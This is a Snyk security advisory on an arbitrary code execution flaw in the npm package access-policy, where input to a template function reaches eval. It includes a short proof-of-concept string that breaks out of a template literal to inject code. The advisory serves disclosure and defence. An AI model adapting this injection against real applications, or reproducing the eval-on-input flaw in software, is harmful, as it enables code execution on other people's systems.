Arbitrary Code Execution Affecting access-policy package, versions *


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 6.86% (94th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-ACCESSPOLICY-571490
  • published 5 Jun 2020
  • disclosed 5 Jun 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for access-policy.

Overview

access-policy is a package that encodes and decodes policy JSON files for use with web applications.

Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to the template function is executed by the eval function resulting in code execution.

PoC

var a = require("access-policy");
var statements = '`;console.log(123);//';
data = {};

a.encode(statements,data)

References